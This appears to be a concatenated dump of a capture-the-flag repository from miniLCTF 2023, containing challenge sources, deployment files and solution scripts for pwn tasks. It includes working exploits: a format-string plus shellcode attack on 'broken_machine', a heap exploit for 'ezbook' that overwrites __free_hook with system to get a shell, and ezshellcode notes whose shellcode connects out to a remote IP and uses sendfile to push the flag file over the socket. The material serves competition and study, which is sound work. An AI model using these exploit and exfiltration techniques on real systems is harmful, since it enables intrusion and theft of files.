_dl_fini 109 | ni 110 | p exit(0) 111 | ni 112 | n 113 | n 114 | p l->info 115 | p l->l_info 116 | p l->l_info[26] 117 | p l->l_addr + l->l_info[26]->d_un.d_ptr 118 | tele 404120 119 | tele 0x404120 120 | q 121 | attach 104771 122 | b machine 123 | c 124 | b _dl_fini 125 | ni 126 | q 127 | attach 176618 128 | finish 129 | ni 130 | ni 0x300 131 | ni 132 | b *0x00401505 133 | c 134 | si 135 | ni 136 | ni 137 | stack 138 | fmtarg 0x7ffc5de77c70 139 | q 140 | r 141 | finish 142 | stack 143 | q 144 | -------------------------------------------------------------------------------- /Challenges/broken_machine/exp/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context(os='linux', arch='amd64' , log_level='debug') 3 | 4 | procname = './pwn' 5 | libcname = './libc.so.6' 6 | 7 | # io = process(procname, stdin=PTY) 8 | io = remote('localhost', 36479) 9 | elf = ELF(procname) 10 | # libc = ELF(libcname) 11 | 12 | n2b = lambda x : str(x).encode() 13 | rv = lambda x : io.recv(x) 14 | ru = lambda s : io.recvuntil(s, drop=True) 15 | sd = lambda s : io.send(s) 16 | sl = lambda s : io.sendline(s) 17 | sn = lambda s : sl(n2b(n)) 18 | sa = lambda p, s : io.sendafter(p, s) 19 | sla = lambda p, s : io.sendlineafter(p, s) 20 | sna = lambda p, n : sla(p, n2b(n)) 21 | ia = lambda : io.interactive() 22 | rop = lambda r : flat([p64(x) for x in r]) 23 | 24 | pause() 25 | 26 | shellcode = shellcraft.push(1) + shellcraft.push(0) + shellcraft.push(0) 27 | shellcode += ''' 28 | push rsp 29 | pop rdx 30 | ''' 31 | shellcode += shellcraft.pushstr('/flag') 32 | shellcode += shellcraft.syscall('SYS_openat2', 0, 'rsp', 'rdx', 0x18) 33 | shellcode += shellcraft.sendfile(1, 3, 0, 0x50) 34 | 35 | 36 | payload = asm(shellcode) 37 | 38 | target_number = elf.bss(0x40 + len(payload) + 0x17) - elf.sym.__do_global_dtors_aux_fini_array_entry 39 | payload += f'%{target_number - len(payload)}c%35$n'.encode().ljust(0x17) 40 | payload += p64(0x10000) 41 | 42 | sl(payload) 43 | 44 | ia() 45 | -------------------------------------------------------------------------------- /Challenges/broken_machine/src/pwn.c: -------------------------------------------------------------------------------- 1 | // gcc pwn.c -o pwn -no-pie -fno-pic -z now 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | char buf[0x400]; 13 | 14 | void handler(int signo) { 15 | puts("Oh, my machine seems broken."); 16 | puts("Thank you for you test. I'll improve it!"); 17 | exit(0); 18 | } 19 | 20 | static void sandbox() { 21 | static unsigned char filter[] = {32,0,0,0,4,0,0,0,21,0,0,20,62,0,0,192,32,0,0,0,0,0,0,0,53,0,18,0,0,0,0,64,21,0,17,0,59,0,0,0,21,0,16,0,66,1,0,0,21,0,15,0,2,0,0,0,21,0,14,0,1,1,0,0,21,0,13,0,0,0,0,0,21,0,12,0,19,0,0,0,21,0,11,0,17,0,0,0,21,0,10,0,39,1,0,0,21,0,9,0,57,0,0,0,21,0,8,0,58,0,0,0,21,0,7,0,41,0,0,0,21,0,6,0,42,0,0,0,21,0,5,0,43,0,0,0,21,0,4,0,157,0,0,0,21,0,3,0,101,0,0,0,21,0,2,0,9,0,0,0,21,0,1,0,10,0,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0}; 22 | struct prog { 23 | unsigned short len; 24 | unsigned char *filter; 25 | } rule = { 26 | .len = sizeof(filter) >> 3, 27 | .filter = filter 28 | }; 29 | if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) { perror("prctl(PR_SET_NO_NEW_PRIVS)"); exit(2); } 30 | if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) { perror("prctl(PR_SET_SECCOMP)"); exit(2); } 31 | } 32 | 33 | void machine() { 34 | void (*fun)() = (void *)0x1000; 35 | void *addr = mmap(fun, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); 36 | puts("Prepare code..."); 37 | sprintf(addr, buf); 38 | sleep(1); 39 | puts("Setup sandbox..."); 40 | mprotect(addr, 0x1000, PROT_EXEC | PROT_READ); 41 | sandbox(); 42 | sleep(1); 43 | puts("Finished!"); 44 | fun(); 45 | } 46 | 47 | int main() { 48 | setvbuf(stdin, NULL, _IONBF, 0); 49 | setvbuf(stdout, NULL, _IONBF, 0); 50 | setvbuf(stderr, NULL, _IONBF, 0); 51 | puts("Hi there! I've made a shellcode machine. Could you please input you code to test my machine? Thank you!"); 52 | signal(SIGSEGV, handler); 53 | fgets(buf, 0x400, stdin); 54 | int cnt = 0; 55 | for (int i = 0; i < 0x400; i++) 56 | cnt += buf[i] == 'n'; 57 | if (cnt > 1) 58 | return 0; 59 | machine(); 60 | return 0; 61 | } 62 | -------------------------------------------------------------------------------- /Challenges/broken_machine/src/sandbox: -------------------------------------------------------------------------------- 1 | A = arch 2 | A == ARCH_X86_64 ? next : dead 3 | A = sys_number 4 | A >= 0x40000000 ? dead : next 5 | A == execve ? dead : next 6 | A == execveat ? dead : next 7 | A == open ? dead : next 8 | A == openat ? dead : next 9 | A == read ? dead : next 10 | A == readv ? dead : next 11 | A == pread ? dead : next 12 | A == preadv ? dead : next 13 | A == fork ? dead : next 14 | A == vfork ? dead : next 15 | A == socket ? dead : next 16 | A == connect ? dead : next 17 | A == accept ? dead : next 18 | A == prctl ? dead : next 19 | A == ptrace ? dead : next 20 | A == mmap ? dead : next 21 | A == mprotect ? dead : next 22 | return ALLOW 23 | dead: 24 | return KILL -------------------------------------------------------------------------------- /Challenges/counterstrike/victim's-server.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/counterstrike/victim's-server.pcap -------------------------------------------------------------------------------- /Challenges/counterstrike/victim.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/counterstrike/victim.pcapng -------------------------------------------------------------------------------- /Challenges/ezbook/attachment/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/ezbook/attachment/libc-2.27.so -------------------------------------------------------------------------------- /Challenges/ezbook/attachment/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/ezbook/attachment/pwn -------------------------------------------------------------------------------- /Challenges/ezbook/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | RUN cp -R /lib* /home/ctf && \ 12 | cp -R /usr/lib* /home/ctf 13 | 14 | RUN mkdir /home/ctf/bin && \ 15 | cp /bin/sh /home/ctf/bin && \ 16 | cp /bin/ls /home/ctf/bin && \ 17 | cp /bin/cat /home/ctf/bin && \ 18 | cp /bin/rm /home/ctf/bin 19 | 20 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 21 | COPY ./start.sh /start.sh 22 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 23 | 24 | RUN chmod +x /start.sh 25 | 26 | COPY ./pwn /home/ctf/ 27 | RUN chown -R root:ctf /home/ctf && \ 28 | chmod -R 750 /home/ctf 29 | 30 | CMD ["/start.sh"] 31 | 32 | EXPOSE 9999 33 | -------------------------------------------------------------------------------- /Challenges/ezbook/docker/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | server_args = --userspec=1000:1000 /home/ctf ./pwn 13 | banner_fail = /etc/banner_fail 14 | # safety options 15 | per_source = 10 # the maximum instances of this service per source IP address 16 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 17 | #rlimit_as = 1024M # the Address Space resource limit for the service 18 | #access_times = 2:00-9:00 12:00-24:00 19 | } 20 | -------------------------------------------------------------------------------- /Challenges/ezbook/docker/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/ezbook/docker/pwn -------------------------------------------------------------------------------- /Challenges/ezbook/docker/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | echo $FLAG > /home/ctf/flag 4 | export FLAG= 5 | # DO NOT DELETE 6 | /etc/init.d/xinetd start; 7 | sleep infinity; 8 | -------------------------------------------------------------------------------- /Challenges/ezbook/exp/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context(os='linux', arch='amd64', log_level='debug') 3 | 4 | procname = './pwn' 5 | libcname = './libc.so.6' 6 | 7 | # io = process(procname, stdin=PTY) 8 | io = remote('localhost', 42651) 9 | elf = ELF(procname) 10 | libc = ELF(libcname) 11 | 12 | n2b = lambda x : str(x).encode() 13 | rv = lambda x : io.recv(x) 14 | ru = lambda s : io.recvuntil(s, drop=True) 15 | sd = lambda s : io.send(s) 16 | sl = lambda s : io.sendline(s) 17 | sn = lambda s : sl(n2b(n)) 18 | sa = lambda p, s : io.sendafter(p, s) 19 | sla = lambda p, s : io.sendlineafter(p, s) 20 | sna = lambda p, n : sla(p, n2b(n)) 21 | ia = lambda : io.interactive() 22 | rop = lambda r : flat([p64(x) for x in r]) 23 | 24 | def leakaddr(pre = None, suf = None, bit = 64, keepsuf = True, off = 0): 25 | u = {64: u64, 32: u32} 26 | num = 6 if bit == 64 else 4 27 | if pre is not None: 28 | ru(pre) 29 | if suf is not None: 30 | r = ru(suf) 31 | if keepsuf: 32 | r += suf 33 | r = r[-num:] 34 | else: 35 | r = rv(num) 36 | return u[bit](r.ljust(bit//8, b'\0')) - off 37 | 38 | prompt = b': ' 39 | prompt_menu = b'>>> ' 40 | prompt_idx = prompt 41 | 42 | op = lambda x : sla(prompt_menu, n2b(x)) 43 | snap = lambda n : sna(prompt, n) 44 | sidx = lambda x : sla(prompt_idx, n2b(x)) 45 | sap = lambda s : sa(prompt, s) 46 | slap = lambda s : sla(prompt, s) 47 | 48 | def create(name_size, content_size, name, content): 49 | op(1) 50 | snap(name_size) 51 | snap(content_size) 52 | sap(name) 53 | sap(content) 54 | 55 | def show(idx): 56 | op(2) 57 | sidx(idx) 58 | 59 | def edit_title(idx, name): 60 | op(3) 61 | sidx(idx) 62 | sap(name) 63 | 64 | def edit_content(idx, content): 65 | op(4) 66 | sidx(idx) 67 | sap(content) 68 | 69 | create(0x10, 0x240, b'a' * 0x10, b'/bin/sh\0'.ljust(0x240, b'a')) 70 | create(0x10, 0x240, b'b' * 0x10, b'b' * 0x240) 71 | num = 4 72 | half_block = 0x800 73 | for i in range(num): 74 | create(half_block, half_block, b'a'*(half_block-1) + p8(i), b'a'*(half_block-1) + p8(i)) 75 | sleep(0.2) 76 | sleep(1) 77 | create(half_block, half_block, b'a'*(half_block-1) + p8(num-1), b'a'*(half_block-1) + p8(num-1)) 78 | create(0x10, 0x10, b'1'*0x10, b'1'*0x10) # num + 2 79 | edit_content(0, b'b' * 0x240) 80 | show(num + 2) 81 | bck = leakaddr(suf=b'\x7f') 82 | heap = leakaddr(suf=b'\x55', off=0x10) 83 | success(f'leak heap: {hex(heap)}') 84 | payload = flat([ 85 | b'2' * 0x20, 86 | rop([0, 0x21, heap + 0x4c0, heap + 0x10]), 87 | rop([0, 0x121]), b'\0' * 0x110, 88 | rop([0, 0x251, heap + 0x10, heap + 0x10]), b'c' * 0x230, 89 | rop([0, 0x121]), b'\0' * 0x110, 90 | rop([0, 0x1ace1]), 91 | ]) 92 | payload = payload.ljust(0x800, b'\0') 93 | # pause() 94 | sleep(1) 95 | edit_title(num + 2, payload) 96 | create(0x200, 0x40, b'x' * 0x200, b'2' * 0x40) 97 | create(0x40, 0x200, (b'\0' * 0x7 + b'\x10').ljust(0x40, b'\0'), b'\0' * 0x200) # num + 4 = tcache 98 | create(0xe00, 0x50, b's' * 0xe00, b's' * 0x50) 99 | create(0x40, 0x40, b't' * 0x40, b't' * 0x40) 100 | create(0x40, 0x40, b't' * 0x40, b't' * 0x40) 101 | show(num + 2) 102 | ru(rop([0, 0x91])) 103 | libc.address = leakaddr(off=0x3EBCA0) 104 | success(f'leak libc.address: {hex(libc.address)}') 105 | 106 | edit_content(num + 4, rop([0, 0, 0, libc.sym.__free_hook])) 107 | create(0x10, 0x30, p64(libc.sym.system), b'\0') 108 | edit_content(1, b'/bin/sh\0'.ljust(0x240, b'a')) 109 | edit_content(1, b'/bin/sh\0'.ljust(0x240, b'a')) 110 | # create() 111 | 112 | ia() 113 | -------------------------------------------------------------------------------- /Challenges/ezbook/exp/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/ezbook/exp/pwn -------------------------------------------------------------------------------- /Challenges/ezbook/src/.gdb_history: -------------------------------------------------------------------------------- 1 | b create 2 | b check_create 3 | r 4 | ni 5 | n 6 | n 7 | n 8 | n 9 | n 10 | p name_size 11 | p content_size 12 | n 13 | n 14 | n 15 | n 16 | p buf 17 | n 18 | n 19 | n 20 | n 21 | p buf 22 | p size 23 | p buf 24 | p argv 25 | p ((Chunk *)argv) 26 | p *((Chunk *)argv) 27 | n 28 | p cnt 29 | n 30 | n 31 | p buf 32 | q 33 | b create 34 | b check_create 35 | r 36 | n 37 | p name_size 38 | n 39 | n 40 | p buf 41 | n 42 | n 43 | p buf 44 | n 45 | p c 46 | p (void*)c 47 | p (void*)&c 48 | q 49 | b 89 50 | r 51 | q 52 | b 89 53 | r 54 | p flag 55 | p flag1 56 | p flag2 57 | p i 58 | p books[1] 59 | p books[0] 60 | p sizes[1] 61 | p sizes[2] 62 | p buf 63 | p size 64 | p buf + size.name 65 | p (buf + size.name) 66 | p size.name) 67 | p size.name 68 | p buf + 1 69 | p buf + 2 70 | p buf + 3 71 | p buf + 4 72 | p buf + 5 73 | p buf + 6 74 | p buf + 7 75 | p buf + 9 76 | p buf + 10 77 | p buf + 20 78 | p buf + 29 79 | p buf + 30 80 | p buf + 31 81 | p buf + 30 82 | heap 83 | heapinfo 84 | tcache 85 | b check_str 86 | p check_str(buf + size.name, size.content, books[i] + sizes[i].name, sizes[i].content) 87 | n 88 | p flag 89 | n 90 | p str1 91 | p str2 92 | q 93 | -------------------------------------------------------------------------------- /Challenges/ezbook/src/pwn.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #define MAX_BOOK 0x100 12 | #define MAX_MALLOC_SIZE 0x1000 13 | 14 | char *books[MAX_BOOK]; 15 | pthread_rwlock_t rwlock_books_and_sizes[MAX_BOOK]; 16 | 17 | int book_cnt = 0; 18 | pthread_mutex_t mutex_book_cnt; 19 | 20 | typedef struct { 21 | unsigned int title; 22 | unsigned int content; 23 | } Size; 24 | Size sizes[MAX_BOOK]; 25 | 26 | int size_cnt = 0; 27 | pthread_mutex_t mutex_size_cnt; 28 | 29 | int readint() { 30 | char buf[8]; 31 | read(0, buf, 8); 32 | return atoi(buf); 33 | } 34 | 35 | void print(const char* str, int size) { 36 | for (int i = 0; i < size; i++) 37 | write(1, str + i, 1); 38 | } 39 | 40 | void err(const char *message) { 41 | write(2, "Error: ", 7); 42 | write(2, message, sizeof(message)); 43 | write(2, "\n", 1); 44 | exit(-1); 45 | } 46 | 47 | void lock(pthread_mutex_t *mutex) { 48 | if (pthread_mutex_lock(mutex) != 0) 49 | err("mutex lock"); 50 | } 51 | 52 | void unlock(pthread_mutex_t *mutex) { 53 | if (pthread_mutex_unlock(mutex) != 0) 54 | err("mutex unlock"); 55 | } 56 | 57 | void rlock(pthread_rwlock_t *rwlock) { 58 | if (pthread_rwlock_rdlock(rwlock) != 0) 59 | err("rwlock rdlock"); 60 | } 61 | 62 | void wlock(pthread_rwlock_t *rwlock) { 63 | if (pthread_rwlock_wrlock(rwlock) != 0) 64 | err("rwlock wrlock"); 65 | } 66 | 67 | void rwunlock(pthread_rwlock_t *rwlock) { 68 | if (pthread_rwlock_unlock(rwlock) != 0) 69 | err("rwlock unlock"); 70 | } 71 | 72 | void menu() { 73 | print("1. Create book\n", 15); 74 | print("2. Show book\n", 13); 75 | print("3. Edit title\n", 14); 76 | print("4. Edit content\n", 16); 77 | print(">>> ", 4); 78 | } 79 | 80 | typedef struct { 81 | Size size; 82 | char *buf; 83 | int idx; 84 | } Chunk; 85 | 86 | void logchar(char c) { 87 | int fd = open("log", O_RDWR | O_CREAT | O_APPEND); 88 | if (fd >= 0) { 89 | write(fd, &c, 1); 90 | close(fd); 91 | } 92 | } 93 | 94 | void logmsg(const char* msg, int size) { 95 | for (int i = 0; i < size; i++) 96 | logchar(msg[i]); 97 | } 98 | 99 | int check_str(const char *str1, unsigned int size1, const char *str2, unsigned int size2) { 100 | int flag = size1 != size2; 101 | if (!flag) 102 | for (int j = 0; j < size1; j++) { 103 | logmsg("check ", 6); 104 | logmsg(str1 + j, 1); 105 | logmsg(" and ", 5); 106 | logmsg(str2 + j, 1); 107 | if (str1[j] != str2[j]) 108 | return 1; 109 | } 110 | return flag; 111 | } 112 | 113 | void* check_create(void *argv) { 114 | Size size = ((Chunk *)argv)->size; 115 | char *buf = ((Chunk *)argv)->buf; 116 | int i = 0; 117 | while (1) { 118 | lock(&mutex_book_cnt); 119 | int cnt = book_cnt; 120 | unlock(&mutex_book_cnt); 121 | if (i >= cnt) 122 | break; 123 | rlock(&rwlock_books_and_sizes[i]); 124 | int flag1 = check_str(buf, size.title, books[i], sizes[i].title); 125 | int flag2 = check_str(buf + size.title, size.content, 126 | books[i] + sizes[i].title, sizes[i].content); 127 | rwunlock(&rwlock_books_and_sizes[i]); 128 | if (!flag1 || !flag2) { 129 | lock(&mutex_size_cnt); 130 | size_cnt--; 131 | unlock(&mutex_size_cnt); 132 | free(buf); 133 | free(argv); 134 | print("The title or content is not unique!\n", 36); 135 | return NULL; 136 | } 137 | i++; 138 | } 139 | lock(&mutex_book_cnt); 140 | int idx = book_cnt++; 141 | unlock(&mutex_book_cnt); 142 | wlock(&rwlock_books_and_sizes[idx]); 143 | books[idx] = buf; 144 | rwunlock(&rwlock_books_and_sizes[idx]); 145 | free(argv); 146 | return NULL; 147 | } 148 | 149 | void create() { 150 | lock(&mutex_book_cnt); 151 | int cnt = book_cnt; 152 | unlock(&mutex_book_cnt); 153 | if (cnt >= MAX_BOOK) { 154 | print("Bookshelves full!\n", 18); 155 | return; 156 | } 157 | print("Book title size: ", 17); 158 | unsigned int title_size = readint(); 159 | print("Book content szie: ", 19); 160 | unsigned int content_size = readint(); 161 | if (title_size > MAX_MALLOC_SIZE || 162 | title_size <= 0 || 163 | content_size > MAX_MALLOC_SIZE || 164 | content_size <= 0 || 165 | title_size + content_size > MAX_MALLOC_SIZE) { 166 | print("Invalid size(s)!\n", 17); 167 | return; 168 | } 169 | lock(&mutex_size_cnt); 170 | int idx = size_cnt++; 171 | unlock(&mutex_size_cnt); 172 | wlock(&rwlock_books_and_sizes[idx]); 173 | sizes[idx].title = title_size; 174 | sizes[idx].content = content_size; 175 | Size size = sizes[idx]; 176 | rwunlock(&rwlock_books_and_sizes[idx]); 177 | char *buf = malloc(title_size + content_size); 178 | print("Book title: ", 12); 179 | read(0, buf, title_size); 180 | print("Book content: ", 14); 181 | read(0, buf + title_size, content_size); 182 | pthread_t check; 183 | Chunk *c = calloc(sizeof(Chunk), 1); 184 | c->size = size; 185 | c->buf = buf; 186 | if (pthread_create(&check, NULL, check_create, (void *)c) != 0) 187 | err("pthread create"); 188 | } 189 | 190 | void show() { 191 | print("Index: ", 7); 192 | int idx = readint(); 193 | lock(&mutex_book_cnt); 194 | int cnt = book_cnt; 195 | unlock(&mutex_book_cnt); 196 | if (idx < cnt) { 197 | rlock(&rwlock_books_and_sizes[idx]); 198 | print(books[idx], sizes[idx].title); 199 | print("\n", 1); 200 | print(books[idx] + sizes[idx].title, sizes[idx].content); 201 | print("\n", 1); 202 | rwunlock(&rwlock_books_and_sizes[idx]); 203 | } 204 | else 205 | print("Invalid index!\n", 15); 206 | } 207 | 208 | void* check_edit_title(void *argv) { 209 | Size size = ((Chunk *)argv)->size; 210 | char *buf = ((Chunk *)argv)->buf; 211 | int idx = ((Chunk *)argv)->idx; 212 | int i = 0; 213 | while (1) { 214 | if (i != idx) { 215 | lock(&mutex_book_cnt); 216 | int cnt = book_cnt; 217 | unlock(&mutex_book_cnt); 218 | if (i >= cnt) 219 | break; 220 | rlock(&rwlock_books_and_sizes[i]); 221 | int flag = check_str(buf, size.title, books[i], sizes[i].title); 222 | rwunlock(&rwlock_books_and_sizes[i]); 223 | if (!flag) { 224 | free(argv); 225 | print("The title is not unique!\n", 25); 226 | return NULL; 227 | } 228 | } 229 | i++; 230 | } 231 | wlock(&rwlock_books_and_sizes[idx]); 232 | memcpy(books[idx], buf, size.title); 233 | rwunlock(&rwlock_books_and_sizes[idx]); 234 | free(argv); 235 | return NULL; 236 | } 237 | 238 | void edit_title() { 239 | print("Index: ", 7); 240 | int idx = readint(); 241 | lock(&mutex_book_cnt); 242 | int cnt = book_cnt; 243 | unlock(&mutex_book_cnt); 244 | if (idx < cnt) { 245 | rlock(&rwlock_books_and_sizes[idx]); 246 | Size size = sizes[idx]; 247 | rwunlock(&rwlock_books_and_sizes[idx]); 248 | char *buf = malloc(size.title); 249 | print("Book title: ", 12); 250 | read(0, buf, size.title); 251 | pthread_t check; 252 | Chunk *c = calloc(sizeof(Chunk), 1); 253 | c->size = size; 254 | c->buf = buf; 255 | c->idx = idx; 256 | if (pthread_create(&check, NULL, check_edit_title, (void *)c) != 0) 257 | err("pthread create"); 258 | pthread_join(check, NULL); 259 | free(buf); 260 | } 261 | else 262 | print("Invalid index!\n", 15); 263 | } 264 | 265 | void* check_edit_content(void *argv) { 266 | Size size = ((Chunk *)argv)->size; 267 | char *buf = ((Chunk *)argv)->buf; 268 | int idx = ((Chunk *)argv)->idx; 269 | int i = 0; 270 | while (1) { 271 | if (i != idx) { 272 | lock(&mutex_book_cnt); 273 | int cnt = book_cnt; 274 | unlock(&mutex_book_cnt); 275 | if (i >= cnt) 276 | break; 277 | rlock(&rwlock_books_and_sizes[i]); 278 | int flag = check_str(buf, size.content, 279 | books[i] + sizes[i].title, sizes[i].content); 280 | rwunlock(&rwlock_books_and_sizes[i]); 281 | if (!flag) { 282 | free(argv); 283 | print("The content is not unique!\n", 27); 284 | return NULL; 285 | } 286 | } 287 | i++; 288 | } 289 | wlock(&rwlock_books_and_sizes[idx]); 290 | memcpy(books[idx] + size.title, buf, size.content); 291 | rwunlock(&rwlock_books_and_sizes[idx]); 292 | free(argv); 293 | return NULL; 294 | } 295 | 296 | void edit_content() { 297 | print("Index: ", 7); 298 | int idx = readint(); 299 | lock(&mutex_book_cnt); 300 | int cnt = book_cnt; 301 | unlock(&mutex_book_cnt); 302 | if (idx < cnt) { 303 | rlock(&rwlock_books_and_sizes[idx]); 304 | Size size = sizes[idx]; 305 | rwunlock(&rwlock_books_and_sizes[idx]); 306 | char *buf = malloc(size.content); 307 | print("Book content: ", 14); 308 | read(0, buf, size.content); 309 | pthread_t check; 310 | Chunk *c = calloc(sizeof(Chunk), 1); 311 | c->size = size; 312 | c->buf = buf; 313 | c->idx = idx; 314 | if (pthread_create(&check, NULL, check_edit_content, (void *)c) != 0) 315 | err("pthread create"); 316 | pthread_join(check, NULL); 317 | free(buf); 318 | } 319 | else 320 | print("Invalid index!\n", 15); 321 | } 322 | 323 | void show_log() { 324 | int fd = open("log", O_RDONLY); 325 | if (fd < 0) 326 | err("open log"); 327 | print("Log size: ", 10); 328 | int size = readint(); 329 | char c; 330 | for (int i = 0; i < size && read(fd, &c, 1) == 1; i++) 331 | write(1, &c, 1); 332 | print("\n", 1); 333 | close(fd); 334 | } 335 | 336 | void init() { 337 | setvbuf(stdin, NULL, _IONBF, 0); 338 | setvbuf(stdout, NULL, _IONBF, 0); 339 | setvbuf(stderr, NULL, _IONBF, 0); 340 | 341 | if (pthread_mutex_init(&mutex_book_cnt, NULL) != 0 || 342 | pthread_mutex_init(&mutex_size_cnt, NULL) != 0) 343 | err("mutex init"); 344 | for (int i = 0; i < MAX_BOOK; i++) 345 | if (pthread_rwlock_init(&rwlock_books_and_sizes[i], NULL) != 0) 346 | err("mutex init"); 347 | 348 | system("rm log -f"); 349 | } 350 | 351 | int main() { 352 | init(); 353 | while (1) { 354 | menu(); 355 | int op = readint(); 356 | switch (op) { 357 | case 1: create(); break; 358 | case 2: show(); break; 359 | case 3: edit_title(); break; 360 | case 4: edit_content(); break; 361 | case 5: show_log(); break; 362 | default: puts("Invalid choice!"); 363 | } 364 | } 365 | } 366 | -------------------------------------------------------------------------------- /Challenges/ezshellcode/README.md: -------------------------------------------------------------------------------- 1 | # ezshellcode 2 | 3 | 很简单的一个题目,基本上是以下几个点: 4 | 5 | 1. 手动混淆(bushi,区别出变量`1`和`l`,就可以看到两个flag文件,一个open之后没有close,一个是读到内存中没有memset 6 | 2. 没有close的用sendfile,然后看代码或者调试可以指导没有close的文件的fd是4 7 | 3. 没有memset的flag,直接恢复栈帧,然后调一个偏移(use after return?),然后侧信道 8 | 4. 侧信道判断远程是loop还是exit,可以建立一个连接到本地,然后本地用subprocess起一个`nc -lp portNum`,如果远程exit,本地的nc也会挂,如果loop就不挂,然后用poll方法检查nc是否挂了。 9 | 10 | exp我没写完整的,但是大致就是这两段shellcode: 11 | 12 | ```python 13 | shellcode1 = ''' 14 | mov rsp, fs:[0x300] 15 | push SYS_socket /* 0x29 */ 16 | pop rax 17 | push AF_INET /* 2 */ 18 | pop rdi 19 | push SOCK_STREAM /* 1 */ 20 | pop rsi 21 | syscall 22 | 23 | xchg rdi, rax; 24 | mov rax, 0xd28b7501b2250002 25 | push rax 26 | 27 | push SYS_connect /* 0x2a */ 28 | pop rax 29 | 30 | mov dl, 0x10; 31 | push rsp;pop rsi; 32 | syscall 33 | 34 | push 0x20;pop r10; 35 | push 0;mov rdx,rsp 36 | push 4 37 | pop rsi 38 | /* call sendfile() */ 39 | push SYS_sendfile /* 0x28 */ 40 | pop rax 41 | syscall 42 | ''' 43 | shellcode2 = f''' 44 | mov rsp, fs:[0x300] 45 | 46 | mov al, 0x29 47 | mov dil, 2 48 | mov sil, 1 49 | syscall 50 | 51 | xchg edi, eax; 52 | mov rbx, 0xd28b7501b2250002 53 | push rbx 54 | 55 | mov al, 0x2a 56 | mov dl, 0x10; 57 | push rsp;pop rsi; 58 | syscall 59 | 60 | sub sp, 2144 61 | mov dl,byte ptr [rsp+{i}] 62 | mov cl,{ord(mid)} 63 | cmp dl,cl 64 | jz loop 65 | mov al,0x3c 66 | syscall 67 | loop: 68 | jmp loop 69 | ''' 70 | ``` -------------------------------------------------------------------------------- /Challenges/ezshellcode/题目/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/Challenges/ezshellcode/题目/main -------------------------------------------------------------------------------- /Challenges/ezshellcode/题目/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | char ooooo0ooo0o[0x100]; 10 | void O0ooo0oo0o() 11 | { 12 | close(0); 13 | close(1); 14 | close(2); 15 | scmp_filter_ctx ctx; 16 | ctx = seccomp_init(SCMP_ACT_KILL); 17 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 60, 0); // exit 18 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 41, 0); // socket 19 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 42, 0); // connect 20 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 40, 0); // sendfile 21 | seccomp_load(ctx); 22 | } 23 | int o0o0o000o() 24 | { 25 | puts("I'll make sure flag is ready."); 26 | int fd1, fdl; 27 | char bufl[1024], buf1[1024]; 28 | ssize_t nread1, nreadl; 29 | 30 | // 打开flag1文件 31 | fd1 = open("flag1", O_RDONLY); 32 | if (fd1 < 0) { 33 | puts("flag1 file doesn't exit"); 34 | return 0; 35 | } 36 | nread1 = read(fd1, bufl, sizeof(bufl)); 37 | if (nread1 <= 0) { 38 | puts("flag1 file is empty"); 39 | return 0; 40 | } 41 | 42 | // 打开flag2文件 43 | fdl = open("flag2", O_RDONLY); 44 | if (fdl < 0) { 45 | puts("flag2 file doesn't exit"); 46 | return 0; 47 | } 48 | nreadl = read(fdl, buf1, sizeof(buf1)); 49 | if (nreadl <= 0) { 50 | puts("flag2 file is empty"); 51 | return 0; 52 | } 53 | puts("Well, flag is ready."); 54 | close(fd1); 55 | close(fd1); 56 | memset(buf1, 0, sizeof(buf1)); 57 | memset(buf1, 0, sizeof(buf1)); 58 | O0ooo0oo0o(); 59 | return 1; 60 | } 61 | void OooO0OOo() 62 | { 63 | setvbuf(stdin, 0LL, 2, 0LL); 64 | setvbuf(stdout, 0LL, 2, 0LL); 65 | setvbuf(stderr, 0LL, 2, 0LL); 66 | } 67 | int 